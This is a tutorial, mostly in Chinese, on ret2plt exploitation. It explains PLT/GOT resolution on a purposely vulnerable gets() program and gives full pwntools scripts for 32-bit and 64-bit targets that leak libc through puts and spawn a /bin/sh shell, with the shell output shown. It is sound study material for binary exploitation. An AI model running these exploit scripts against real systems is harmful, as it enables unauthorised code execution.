PLT, or Procedure Linkage Table. These are stubs that look up the addresses in the .got.plt section, and either jump to the right address, or trigger the code in the linker to look up the address. (If the address has not been filled in to .got.plt yet.)

漏洞程序

#include <stdio.h>

void vuln() {
    puts("Come get me");

    char buffer[20];
    gets(buffer);
}

int main() {
    vuln();
    return 0;
}

32位ret2plt

plt分析

  1. 程序保护 //gcc source.c -o vuln-32 -no-pie -fno-stack-protector -z execstack -m32
└─$ checksec --file=./vuln-32
[*] '/home/kali/exploits/ret2plt/vuln-32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
  1. plt节
  • .plt节可执行
[0xf7fe4450]> iS~.plt
10  0x000002f0   0x18 0x080482f0   0x18 -r-- .rel.plt
12  0x00001020   0x40 0x08049020   0x40 -r-x .plt
22  0x00003000   0x18 0x0804c000   0x18 -rw- .got.plt
  • 查看plt节
0xf7fe4450]> pdi 9 @ 0x08049020
0x08049020   sym..plt:
0x08049020         ff3504c00408  push dword [0x804c004]
0x08049026         ff2508c00408  jmp dword [0x804c008]
0x0804902c                 0000  add byte [eax], al
0x0804902e                 0000  add byte [eax], al
0x08049030   sym.imp.gets:
0x08049030         ff250cc00408  jmp dword [reloc.gets]
0x08049036           6800000000  push 0
0x0804903b           e9e0ffffff  jmp sym..plt
0x08049040   sym.imp.puts:
0x08049040         ff2510c00408  jmp dword [reloc.puts]
0x08049046           6808000000  push 8

plt中每个entry有3条指令,基本模式jmp [got@xxx],push number , jmp plt@0

  • plt与got关系
    plt表
plt地址 .plt代码
plt_0 push &link_map
jmp _dl_runtime_resolve
plt_1 jmp [got_3]
plt_1_1 push num
jmp plt_0

got.plt表

got地址 .got.plt
got_0 .dynamic地址
got_1 link_map地址
got_2 _dl_runtime_resolve
got_3 plt_1_1 或 puts@libc

call puts@plt,等同于如下流程:

  1. jmp got_3
  2. 如果got_3中地址是plt_1_1,即第一次调用,还没有动态解析puts符号地址,那么将执行push num
  3. jmp plt_0
  4. _dl_runtime_resolve执行之后,got_3中存放的是符号的绝对地址,比如puts@libc 之后再调用call puts@plt将直接调用 puts@libc。

ret2plt利用

泄漏libc基地址

  1. 栈布局 gets(buffer)可以利用溢出漏洞构建如下栈布局:
    栈偏移 栈内容
    +x puts@plt
    +x+4 main_addr
    +x+8 puts@got

gets(buffer)返回后,eip == [x]

  1. 获取溢出偏移
└─$ ragg2 -P 100 -r                                      
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
┌──(kali㉿kali)-[~/exploits/ret2plt]
└─$ r2 -d -A ./vuln-32
glibc.fc_offset = 0x00148
[0xf7fe4450]> dc
Come get me
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
[+] SIGNAL 11 errno=0 addr=0x41414c41 code=1 si_pid=1094798401 ret=0
[0x41414c41]> wopO 0x41414c41
32

x == 32

  1. 计算libc基地址
payload = ('A' * x, puts@plt,main_addr,puts@got)
send(payload)
puts_leak = recv(4)
libc.address = puts_leak - libc.sym['puts']

获取shell

payload = flat(
    'A' * 32,
    libc.sym['system'],
    libc.sym['exit'],
    next(libc.search(b'/bin/sh\x00'))
)

ret2plt pwn

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
    'A' * 32,
    elf.plt['puts'],
    elf.sym['main'],
    elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
    'A' * 32,
    libc.sym['system'],
    libc.sym['exit'],
    next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

pwn结果:

┌──(kali㉿kali)-[~/exploits/ret2plt]
└─$ python exp32.py
[*] '/home/kali/exploits/ret2plt/vuln-32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/usr/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/home/kali/exploits/ret2plt/vuln-32': pid 1955188
[*] Switching to interactive mode
Come get me
$ who
kali     pts/1        2023-02-10 00:59 (192.168.44.1)
kali     pts/0        2023-02-09 20:54 (192.168.44.1)

64位ret2plt

from pwn import *
elf = context.binary = ELF('./vuln-64')
libc = elf.libc
p = process()
p.recvline()

# build rop chain for outputing puts address in got
rop = ROP(elf)
rop.raw('A' * 40)
rop.puts(elf.got['puts'])
rop.raw(elf.sym['main'])

p.sendline(rop.chain())

# libc addresses are often only 6 bytes long, meaning they are preceded with 0x0000
# but this won't be read as it's a null byte, so only read 6 bytes and append the null ones later
puts_leak = u64(p.recv(6) + b'\x00\x00')
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')


binsh = next(libc.search(b'/bin/sh\x00'))

rop = ROP(libc)
rop.raw('A' * 40)
rop.system(binsh)
rop.raw(libc.sym['exit'])       # not required

p.sendline(rop.chain())

p.interactive() 

注意 elf.got[‘puts’]和libc.sym[‘puts’]的区别

参考:
GOT and PLT for pwning
explore got and plt using radare2